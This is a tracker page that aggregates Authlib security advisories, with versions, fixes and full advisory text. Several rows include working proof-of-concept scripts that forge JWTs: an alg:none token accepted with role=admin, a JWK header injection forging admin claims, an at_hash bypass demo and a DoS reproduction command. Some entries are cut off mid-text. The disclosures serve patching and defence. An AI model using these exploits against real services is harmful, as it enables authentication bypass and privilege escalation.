24 known bugs in Authlib, with affected versions, fixes and workarounds. Sourced from upstream issue trackers.
| Severity | Affected | Fixed in | Title | Status | Source |
|---|
| high | any | 1.6.5 | Authlib is vulnerable to Denial of Service via Oversized JOSE Segments **Summary**
Authlib’s JOSE implementation accepts unbounded JWS/JWT header and signature segments. A remote attacker can craft a token whose base64url‑encoded header or signature spans hundreds of megabytes. During verification, Authlib decodes and parses the full input before it is rejected, driving CPU and memory consumption to hostile levels and enabling denial of service.
**Impact**
- Attack vector: unauthenticated network attacker submits a malicious JWS/JWT.
- Effect: base64 decode + JSON/crypto processing of huge buffers pegs CPU and allocates large amounts of RAM; a single request can exhaust service capacity.
- Observed behaviour: on a test host, the legacy code verified a 500 MB header, consuming ~4 GB RSS and ~9 s CPU before failing.
- Severity: High. CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5).
Affected Versions
Authlib ≤ 1.6.3 (and earlier) when verifying JWS/JWT tokens. Later snapshots with 256 KB header/signature limits are not affected.
**Proof of concept**
Local demo (do not run against third-party systems):
Download [jws_segment_dos_demo.py](https://github.com/user-attachments/files/22450820/jws_segment_dos_demo.py) the PoC in direcotry authlib/
Run following Command
```
python3 jws_segment_dos_demo.py --variant both --sizes "500MB" --fork-per-case
```
Environment: Python 3.13.6, Authlib 1.6.4, Linux x86_64, CPUs=8
Sample output: Refined
<img width="1295" height="306" alt="image" src="https://github.com/user-attachments/assets/6dd8410f-bc36-4717-8cee-649bac9bf291" />
The compilation script prints separate “[ATTACKER]” (token construction) and “[SERVER]” (Authlib verification) RSS deltas so defenders can distinguish client-side preparation from server-side amplification. Regression tests authlib/tests/dos/test_jose_dos.py further capture the issue; the saved original_util.py/original_jws.py reproductions still accept the malicious payload.
**Remediation**
- Apply the upstream patch that introduces decoded size limits:
- MAX_HEADER_SEGMENT_BYTES = 256 KB
- MAX_SIGNATURE_SEGMENT_BYTES = 256 KB
- Enforce Limits in authlib/jose/util.extract_segment and _extract_signature.
- Deploy the patched release immediately.
- For additional defence in depth, reject JWS/JWT inputs above a few kilobytes at the proxy or WAF layer, and rate-limit verification endpoints.
**Workarounds (temporary)**
- Enforce input size limits before handing tokens to Authlib.
- Use application-level throttling to reduce amplification risk.
**Resources**
- Demo script: jws_segment_dos_demo.py
- Tests: authlib/tests/dos/test_jose_dos.py
- OWASP JWT Cheat Sheet (DoS guidance) | fixed | osv:GHSA-pq5p-34cr-23v9 |
| high | any | 1.6.9 | Authlib: Fail-Open Cryptographic Verification in OIDC Hash Binding ## 1. Executive Summary
A critical library-level vulnerability was identified in the **Authlib** Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (`_verify_hash`) responsible for validating the `at_hash` (Access Token Hash) and `c_hash` (Authorization Code Hash) claims exhibits a **fail-open** behavior when encountering an unsupported or unknown cryptographic algorithm.
This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized `alg` header parameter. The library intercepts the unsupported state and silently returns `True` (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.
---
## 2. Technical Details & Root Cause
The vulnerability resides within the `_verify_hash(signature, s, alg)` function in `authlib/oidc/core/claims.py`:
```python
def _verify_hash(signature, s, alg):
hash_value = create_half_hash(s, alg)
if not hash_value: # ← VULNERABILITY: create_half_hash returns None for unknown algorithms
return True # ← BYPASS: The verification silently passes
return hmac.compare_digest(hash_value, to_bytes(signature))
```
When an unsupported algorithm string (e.g., `"XX999"`) is processed by the helper function `create_half_hash` in `authlib/oidc/core/util.py`, the internal `getattr(hashlib, hash_type, None)` call fails, and the function correctly returns `None`.
However, instead of triggering a `Fail-Closed` cryptographic state (raising an exception or returning `False`), the `_verify_hash` function misinterprets the `None` return value and explicitly returns `True`.
Because developers rely on the standard `.validate()` method provided by Authlib's `IDToken` class—which internally calls this flawed function—there is **no mechanism for the implementing developer to prevent this bypass**. It is a strict library-level liability.
---
## 3. Attack Scenario
This vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to **Token Substitution Attacks**.
1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (`access_token`) or Authorization Code (`code`) with a malicious or mismatched one.
2. The attacker re-crafts the JWT header of the ID Token, setting the `alg` parameter to an arbitrary, unsupported value (e.g., `{"alg": "CUSTOM_ALG"}`).
3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.
4. Authlib attempts to validate the `at_hash` or `c_hash` claims.
5. Because `"CUSTOM_ALG"` is unsupported by `hashlib`, `create_half_hash` returns `None`.
6. Authlib's `_verify_hash` receives `None` and silently returns `True`.
7. **Result:** The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.
---
## 4. Specification & Standards Violations
This explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library **MUST** fail and reject material when encountering unsupported cryptographic parameters.
**OpenID Connect Core 1.0**
* **§ 3.2.2.9 (Access Token Validation):** "If the ID Token contains an `at_hash` Claim, the Client MUST verify that the hash value of the Access Token matches the value of the `at_hash` Claim." Silencing the validation check natively contradicts this absolute requirement.
* **§ 3.3.2.11 (Authorization Code Validation):** Identically mandates the verification of the `c_hash` Claim.
**IETF JSON Web Token (JWT) Best Current Practices (BCP)**
* **RFC 8725 § 3.1.1:** "Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected." Authlib's implementation effectively "trusts" the hash when it cannot verify the algorithm.
**IETF JSON Web Signature (JWS)**
* **RFC 7515 § 5.2 (JWS Validation):** Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning `True` for an `UnsupportedAlgorithm` state, Authlib violates robust application security logic.
---
## 5. Remediation Recommendation
The `_verify_hash` function must be patched to enforce a `Fail-Closed` posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation **must** fail immediately.
**Suggested Patch (`authlib/oidc/core/claims.py`):**
```python
def _verify_hash(signature, s, alg):
hash_value = create_half_hash(s, alg)
if hash_value is None:
# FAIL-CLOSED: The algorithm is unsupported, reject the token.
return False
return hmac.compare_digest(hash_value, to_bytes(signature))
```
---
## 6. Proof of Concept (PoC)
The following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (`at_hash`), Hybrid Flow (`c_hash`), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.```bash
```bash
python3 -m venv venv
source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib; print(authlib.__version__)"
# → 1.6.8
```
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@title OIDC at_hash / c_hash Verification Bypass
@affected authlib <= 1.6.8
@file authlib/oidc/core/claims.py :: _verify_hash()
@notice _verify_hash() retorna True cuando create_half_hash() retorna
None (alg no soportado), causando Fail-Open en la verificacion
de binding entre ID Token y Access Token / Authorization Code.
@dev Reproduce el bypass directamente contra el codigo de authlib
sin mocks. Todas las llamadas son al modulo real instalado.
"""
import hmac
import hashlib
import base64
import time
import authlib
from authlib.common.encoding import to_bytes
from authlib.oidc.core.util import create_half_hash
from authlib.oidc.core.claims import IDToken, HybridIDToken
from authlib.oidc.core.claims import _verify_hash as authlib_verify_hash
# ─── helpers ──────────────────────────────────────────────────────────────────
R = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"
def header(title):
print(f"\n{CYN}{'─' * 64}{R}")
print(f"{BLD}{title}{R}")
print(f"{CYN}{'─' * 64}{R}")
def ok(msg): print(f" {GRN}[OK] {R}{msg}")
def fail(msg): print(f" {RED}[BYPASS] {R}{BLD}{msg}{R}")
def info(msg): print(f" {DIM} {msg}{R}")
def at_hash_correct(token: str, alg: str) -> str:
"""
@notice Computa at_hash segun OIDC Core 1.0 s3.2.2.9.
@param token Access token ASCII
@param alg Algoritmo del header del ID Token
@return str at_hash en Base64url sin padding
"""
fn = {"256": hashlib.sha256, "384": hashlib.sha384, "512": hashlib.sha512}
digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()
return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b"=").decode()
def _verify_hash_patched(signature: str, s: str, alg: str) -> bool:
"""
@notice Version corregida de _verify_hash() con semantica Fail-Closed.
@dev Fix: `if not hash_value` -> `if hash_value is None`
None es falsy en Python, pero b"" no lo es. El chequeo original
no distingue entre "algoritmo no soportado" y "hash vacio".
"""
hash_value = create_half_hash(s, alg)
if hash_value is None:
return False
return hmac.compare_digest(hash_value, to_bytes(signature))
# ─── test 1: root cause ───────────────────────────────────────────────────────
def test_root_cause():
"""
@notice Demuestra que cre | ||
| high | any | 1.6.4 | Authlib: JWS/JWT accepts unknown crit headers (RFC violation → possible authz bypass) ## Summary
Authlib’s JWS verification accepts tokens that declare unknown critical header parameters (`crit`), violating RFC 7515 “must‑understand” semantics. An attacker can craft a signed token with a critical header (for example, `bork` or `cnf`) that strict verifiers reject but Authlib accepts. In mixed‑language fleets, this enables split‑brain verification and can lead to policy bypass, replay, or privilege escalation.
## Affected Component and Versions
- Library: Authlib (JWS verification)
- API: `authlib.jose.JsonWebSignature.deserialize_compact(...)`
- Version tested: 1.6.3
- Configuration: Default; no allowlist or special handling for `crit`
## Details
RFC 7515 (JWS) §4.1.11 defines `crit` as a “must‑understand” list: recipients MUST understand and enforce every header parameter listed in `crit`, otherwise they MUST reject the token. Security‑sensitive semantics such as token binding (e.g., `cnf` from RFC 7800) are often conveyed via `crit`.
Observed behavior with Authlib 1.6.3:
- When a compact JWS contains a protected header with `crit: ["cnf"]` and a `cnf` object, or `crit: ["bork"]` with an unknown parameter, Authlib verifies the signature and returns the payload without rejecting the token or enforcing semantics of the critical parameter.
- By contrast, Java Nimbus JOSE+JWT (9.37.x) and Node `jose` v5 both reject such tokens by default when `crit` lists unknown names.
Impact in heterogeneous fleets:
- A strict ingress/gateway (Nimbus/Node) rejects a token, but a lenient Python microservice (Authlib) accepts the same token. This split‑brain acceptance bypasses intended security policies and can enable replay or privilege escalation if `crit` carries binding or policy information.
## Proof of Concept (PoC)
This repository provides a multi‑runtime PoC demonstrating the issue across Python (Authlib), Node (`jose` v5), and Java (Nimbus).
### Prerequisites
- Python 3.8+
- Node.js 18+
- Java 11+ with Maven
### Setup
Enter the directory **authlib-crit-bypass-poc** & run following commands.
```bash
make setup
make tokens
```
### Tokens minted
- `tokens/unknown_crit.jwt` with protected header:
`{ "alg": "HS256", "crit": ["bork"], "bork": "x" }`
- `tokens/cnf_header.jwt` with protected header:
`{ "alg": "HS256", "crit": ["cnf"], "cnf": {"jkt": "thumb-42"} }`
### Reproduction
Run the cross‑runtime demo:
```bash
make demo
```
Expected output for each token (strict verifiers reject; Authlib accepts):
For `tokens/unknown_crit.jwt`:
```
Strict(Nimbus): REJECTED (unknown critical header: bork)
Strict(Node jose): REJECTED (unrecognized crit)
Lenient(Authlib): ACCEPTED -> payload={'sub': '123', 'role': 'user'}
```
For `tokens/cnf_header.jwt`:
```
Strict(Nimbus): REJECTED (unknown critical header: cnf)
Strict(Node jose): REJECTED (unrecognized crit)
Lenient(Authlib): ACCEPTED -> payload={'sub': '123', 'role': 'user'}
```
Environment notes:
- Authlib version used: `1.6.3` (from PyPI)
- Node `jose` version: `^5`
- Nimbus JOSE+JWT version: `9.37.x`
- HS256 secret is 32 bytes to satisfy strict verifiers: `0123456789abcdef0123456789abcdef`
## Impact
- Class: Violation of JWS `crit` “must‑understand” semantics; specification non‑compliance leading to authentication/authorization policy bypass.
- Who is impacted: Any service that relies on `crit` to carry mandatory security semantics (e.g., token binding via `cnf`) or operates in a heterogeneous fleet with strict verifiers elsewhere.
- Consequences: Split‑brain acceptance (gateway rejects while a backend accepts), replay, or privilege escalation if critical semantics are ignored.
## References
- RFC 7515: JSON Web Signature (JWS), §4.1.11 `crit`
- RFC 7800: Proof‑of‑Possession Key Semantics for JWTs (`cnf`) | ||
| high | 1.6.5 | 1.6.7 | Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification ### Summary
After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.
### Details
It was likely introduced in this commit:
https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75
### PoC
```
from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64
def create_jwks():
private_key = rsa.generate_private_key(
public_exponent=65537, key_size=2048, backend=default_backend()
)
public_pem = private_key.public_key().public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
jwk = JsonWebKey.import_key(public_pem).as_dict()
jwk["kid"] = "test-key-001"
jwk["use"] = "sig"
jwk["alg"] = "RS256"
jwks = {"keys": [jwk]}
return jwks
def create_forged_token_with_alg_none():
forged_header = {"alg": "none"}
forged_payload = {
"sub": "user123",
"role": "admin",
"iat": 1735603200,
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(forged_header).encode("utf-8")
).rstrip(b"=")
payload_b64 = base64.urlsafe_b64encode(
json.dumps(forged_payload).encode("utf-8")
).rstrip(b"=")
forged_token = header_b64 + b"." + payload_b64 + b"."
return forged_token
jwks = create_jwks()
forged_token = create_forged_token_with_alg_none()
try:
claims = jwt.decode(forged_token, jwks)
print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}")
except Exception as e:
print(f"SECURE: Token rejected - {type(e).__name__}")
```
Output:
```
pip install -q authlib==1.5.2
python3 authlib_alg_none_vulnerability.py
SECURE: Token rejected - BadSignatureError
pip install -q authlib==1.6.5
python3 authlib_alg_none_vulnerability.py
VULNERABLE: Forged token (alg:none) accepted: role=admin
```
### Impact
Users of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.
Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:
- Authentication bypass
- Privilege escalation
- Unauthorized access
- Modification of application data | ||
| high | any | 1.6.9 | Authlib Vulnerable to JWE RSA1_5 Bleichenbacher Padding Oracle ## 1. Executive Summary
A cryptographic padding oracle vulnerability was identified in the Authlib Python library
concerning the implementation of the JSON Web Encryption (JWE) `RSA1_5` key management
algorithm. Authlib registers `RSA1_5` in its default algorithm registry without requiring
explicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that
the underlying `cryptography` library implements correctly.
When `cryptography` encounters an invalid PKCS#1 v1.5 padding, it returns a randomized
byte string instead of raising an exception — the correct behavior per RFC 3218 §2.3.2.
Authlib ignores this contract and raises `ValueError('Invalid "cek" length')` immediately
after decryption, before reaching AES-GCM tag validation. This creates a clean, reliable
**Exception Oracle**:
- **Invalid padding** → `cryptography` returns random bytes → Authlib length check fails
→ `ValueError: Invalid "cek" length`
- **Valid padding, wrong MAC** → decryption succeeds → length check passes → AES-GCM
fails → `InvalidTag`
**This oracle is active by default in every Authlib installation without any special
configuration by the developer or the attacker.** The three most widely used Python web
frameworks — Flask, Django, and FastAPI — all expose distinguishable HTTP responses for
these two exception classes in their default configurations, requiring no additional
setup to exploit.
**Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:**
```
[PADDING INVALIDO] ValueError: Invalid "cek" length
[PADDING VALIDO/MAC] InvalidTag
```
---
## 2. Technical Details & Root Cause
### 2.1 Vulnerable Code
**File:** `authlib/jose/rfc7518/jwe_algs.py`
```python
def unwrap(self, enc_alg, ek, headers, key):
op_key = key.get_op_key("unwrapKey")
# cryptography implements Bleichenbacher mitigation here:
# on invalid padding it returns random bytes instead of raising.
# Empirically confirmed: returns 84 bytes for a 2048-bit key.
cek = op_key.decrypt(ek, self.padding)
# VULNERABILITY: This length check destroys the mitigation.
# cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK_SIZE).
# Authlib raises a distinct ValueError before AES-GCM is ever reached.
if len(cek) * 8 != enc_alg.CEK_SIZE:
raise ValueError('Invalid "cek" length') # <- ORACLE TRIGGER
return cek
```
### 2.2 Root Cause — Active Mitigation Destruction
`cryptography` 46.0.5 implements the Bleichenbacher mitigation correctly at the library
level. When PKCS#1 v1.5 padding validation fails, it does not raise an exception.
Instead it returns a randomized byte string (empirically observed: 84 bytes for a
2048-bit RSA key). The caller is expected to pass this fake key to the symmetric
decryptor, where MAC/tag validation will fail in constant time — producing an error
indistinguishable from a MAC failure on a valid padding.
Authlib does not honor this contract. The length check on the following line detects
that 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises `ValueError('Invalid
"cek" length')` immediately. This exception propagates before AES-GCM is ever reached,
creating two execution paths with observable differences:
```
Path A — invalid PKCS#1 v1.5 padding:
op_key.decrypt() -> 84 random bytes (cryptography mitigation active)
len(84) * 8 = 672 != 128 (CEK_SIZE for A128GCM)
raise ValueError('Invalid "cek" length') <- specific exception, fast path
Path B — valid padding, wrong symmetric key:
op_key.decrypt() -> 16 correct bytes
len(16) * 8 = 128 == 128 -> length check passes
AES-GCM tag validation -> mismatch
raise InvalidTag <- different exception class, slow path
```
The single line `raise ValueError('Invalid "cek" length')` is the complete root cause.
Removing the raise and replacing it with a silent random CEK fallback eliminates both
the exception oracle and any residual timing difference.
### 2.3 Empirical Confirmation
**All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64
running the attached PoC (`poc_bleichenbacher.py`):**
```
TEST 1 - cryptography behavior on invalid padding:
cryptography retorno bytes: len=84
NOTA: esta version implementa mitigacion de random bytes
TEST 2 - Exception Oracle:
[ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length
[OK] Caso B (padding valido/MAC malo): InvalidTag
TEST 3 - Timing (50 iterations):
Padding invalido (ValueError) mean=1.500ms stdev=1.111ms
Padding valido (InvalidTag) mean=1.787ms stdev=0.978ms
Delta: 0.287ms
TEST 4 - RSA1_5 in default registry:
[ORACLE] RSA1_5 activo por defecto (no opt-in required)
TEST 5 - Fix validation:
[OK] Both paths return correct-length CEK after patch
[OK] Exception type identical in both paths -> oracle eliminated
```
**Note on timing:** The 0.287ms delta is within the noise margin (stdev ~1ms across
50 iterations) and is not claimed as a reliable standalone timing oracle. The exception
oracle is the primary exploitable vector and does not require timing measurement.
---
## 3. Default Framework Behavior — Why This Is Exploitable Out of the Box
A potential objection to this report is that middleware or custom error handlers could
normalize exceptions to a single HTTP response, eliminating the observable discrepancy.
This section addresses that objection directly.
**The oracle is active in default configurations of all major Python web frameworks.**
No special server misconfiguration is required. The following demonstrates the default
behavior for Flask, Django, and FastAPI — the three most widely deployed Python web
frameworks — when an unhandled exception propagates from a route handler:
### Flask (default configuration)
```python
# Default Flask behavior — no error handler registered
@app.route("/decrypt", methods=["POST"])
def decrypt():
token = request.json["token"]
result = jwe.deserialize_compact(token, private_key) # raises ValueError or InvalidTag
return jsonify(result)
# ValueError: Invalid "cek" length -> HTTP 500, body: {"message": "Invalid \"cek\" length"}
# InvalidTag -> HTTP 500, body: {"message": ""}
# The exception MESSAGE is different even if the status code is the same.
```
Flask's default error handler returns the exception message in the response body for
debug mode, and an empty 500 for production. However, even in production, the response
body content differs between `ValueError` (which has a message) and `InvalidTag`
(which has no message), leaking the oracle through response body length.
### FastAPI (default configuration)
```python
# FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body
# ValueError: Invalid "cek" length -> {"detail": "Internal Server Error"} (HTTP 500)
# InvalidTag -> {"detail": "Internal Server Error"} (HTTP 500)
```
FastAPI normalizes both to HTTP 500 in production. However, FastAPI's default
`RequestValidationError` and `HTTPException` handlers do not catch arbitrary exceptions,
so the distinguishable stack trace is logged — and in many deployments, error monitoring
tools (Sentry, Datadog, etc.) expose the exception class to operators, enabling oracle
exploitation by an insider or via log exfiltration.
### Django REST Framework (default configuration)
```python
# DRF's default exception handler only catches APIException and Http404.
# ValueError and InvalidTag both fall through to Django's generic 500 handler.
# In DEBUG=False: HTTP 500, generic HTML response (indistinguishable).
# In DEBUG=True: HTTP 500, full traceback including exception class (oracle exposed).
```
**Summary:** Even in cases where HTTP status codes are normalized, the oracle persists
through response body differences, response timing, or error monitoring infrastructure.
The RFC 3218 §2.3.2 requirement exists precisely because any observab | ||
| high | any | 1.3.1 | Authlib has algorithm confusion with asymmetric public keys lepture Authlib before 1.3.1 has algorithm confusion with asymmetric public keys. Unless an algorithm is specified in a jwt.decode call, HMAC verification is allowed with any asymmetric public key. (This is similar to CVE-2022-29217 and CVE-2024-33663.) | fixed | osv:GHSA-5357-c2jx-v7qh |
| medium | any | 1.6.9 | Authlib JWS JWK Header Injection: Signature Verification Bypass ## Description
### Summary
A JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.
This behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**.
### Details
**Vulnerable file:** `authlib/jose/rfc7515/jws.py`
**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`
**Lines:** 272–273
```python
elif key is None and "jwk" in header:
key = header["jwk"] # ← attacker-controlled key used for verification
```
When `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or
`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.
**RFC 7515 violations:**
- **§4.1.3** explicitly states the `jwk` header parameter is **"NOT RECOMMENDED"** because keys
embedded by the token submitter cannot be trusted as a verification anchor.
- **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application
context*, not from the token itself. There is no step in the RFC that permits falling back to
the `jwk` header when no application key is provided.
**Why this is a library issue, not just a developer mistake:**
The most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.
A developer writes:
```python
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid) # returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)
```
When an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.
The library then silently falls through to `key = header["jwk"]`, trusting the attacker's embedded
key. The developer never wrote `key=None` — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.
**Attack steps:**
1. Attacker generates an RSA or EC keypair.
2. Attacker crafts a JWT payload with any desired claims (e.g. `{"role": "admin"}`).
3. Attacker signs the JWT with their **private** key.
4. Attacker embeds their **public** key in the JWT `jwk` header field.
5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.
6. The library uses `header["jwk"]` for verification — signature passes.
7. Forged claims are returned as authentic.
### PoC
Tested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).
**Requirements:**
```
pip install authlib cryptography
```
**Exploit script:**
```python
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims) # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin" # PASSES
```
**Expected output:**
```
{'sub': 'attacker', 'role': 'admin'}
```
**Docker (self-contained reproduction):**
```bash
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py
```
### Impact
This is an authentication and authorization bypass vulnerability. Any application using authlib's
JWS deserialization is affected when:
- `key=None` is passed directly, **or**
- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims
(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.
The forged token is indistinguishable from a legitimate one — no exception is raised.
This is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk`
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.
**Minimal fix** — remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:
```python
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]
```
**Recommended safe replacement** — raise explicitly when no key is resolved:
```python
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")
``` | ||
| medium | any | 1.6.11 | PYSEC-2026-25: advisory Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.11, there is no CSRF protection on the cache feature in authlib.integrations.starlette_client.OAuth. This vulnerability is fixed in 1.6.11. | fixed | osv:PYSEC-2026-25 |
| medium | any | 1.6.10 | PYSEC-2026-2119: advisory Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.10 and 1.7.1, Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri. The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL. This vulnerability is fixed in 1.6.10 and 1.7.1. | fixed | osv:PYSEC-2026-2119 |
| medium | 1.6.5 | 1.6.7 | PYSEC-2026-2118: advisory Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7. | fixed | osv:PYSEC-2026-2118 |
| medium | any | 1.6.9 | PYSEC-2026-2117: advisory Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a library-level vulnerability was identified in the Authlib Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (_verify_hash) responsible for validating the at_hash (Access Token Hash) and c_hash (Authorization Code Hash) claims exhibits a fail-open behavior when encountering an unsupported or unknown cryptographic algorithm. This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized alg header parameter. The library intercepts the unsupported state and silently returns True (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications. This issue has been patched in version 1.6.9. | fixed | osv:PYSEC-2026-2117 |
| medium | any | 1.6.9 | PYSEC-2026-2116: advisory Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a cryptographic padding oracle vulnerability was identified in the Authlib Python library concerning the implementation of the JSON Web Encryption (JWE) RSA1_5 key management algorithm. Authlib registers RSA1_5 in its default algorithm registry without requiring explicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that the underlying cryptography library implements correctly. This issue has been patched in version 1.6.9. | fixed | osv:PYSEC-2026-2116 |
| medium | any | 1.6.12 | PYSEC-2026-188: advisory Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.12 and 1.7.1, an unauthenticated open redirect in Authlib's OpenIDImplicitGrant and OpenIDHybridGrant authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the openid scope. This vulnerability is fixed in 1.6.12 and 1.7.1. | fixed | osv:PYSEC-2026-188 |
| medium | any | 1.6.5 | Authlib is vulnerable to Denial of Service via Oversized JOSE Segments **Summary**
Authlib’s JOSE implementation accepts unbounded JWS/JWT header and signature segments. A remote attacker can craft a token whose base64url‑encoded header or signature spans hundreds of megabytes. During verification, Authlib decodes and parses the full input before it is rejected, driving CPU and memory consumption to hostile levels and enabling denial of service.
**Impact**
- Attack vector: unauthenticated network attacker submits a malicious JWS/JWT.
- Effect: base64 decode + JSON/crypto processing of huge buffers pegs CPU and allocates large amounts of RAM; a single request can exhaust service capacity.
- Observed behaviour: on a test host, the legacy code verified a 500 MB header, consuming ~4 GB RSS and ~9 s CPU before failing.
- Severity: High. CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5).
Affected Versions
Authlib ≤ 1.6.3 (and earlier) when verifying JWS/JWT tokens. Later snapshots with 256 KB header/signature limits are not affected.
**Proof of concept**
Local demo (do not run against third-party systems):
Download [jws_segment_dos_demo.py](https://github.com/user-attachments/files/22450820/jws_segment_dos_demo.py) the PoC in direcotry authlib/
Run following Command
```
python3 jws_segment_dos_demo.py --variant both --sizes "500MB" --fork-per-case
```
Environment: Python 3.13.6, Authlib 1.6.4, Linux x86_64, CPUs=8
Sample output: Refined
<img width="1295" height="306" alt="image" src="https://github.com/user-attachments/assets/6dd8410f-bc36-4717-8cee-649bac9bf291" />
The compilation script prints separate “[ATTACKER]” (token construction) and “[SERVER]” (Authlib verification) RSS deltas so defenders can distinguish client-side preparation from server-side amplification. Regression tests authlib/tests/dos/test_jose_dos.py further capture the issue; the saved original_util.py/original_jws.py reproductions still accept the malicious payload.
**Remediation**
- Apply the upstream patch that introduces decoded size limits:
- MAX_HEADER_SEGMENT_BYTES = 256 KB
- MAX_SIGNATURE_SEGMENT_BYTES = 256 KB
- Enforce Limits in authlib/jose/util.extract_segment and _extract_signature.
- Deploy the patched release immediately.
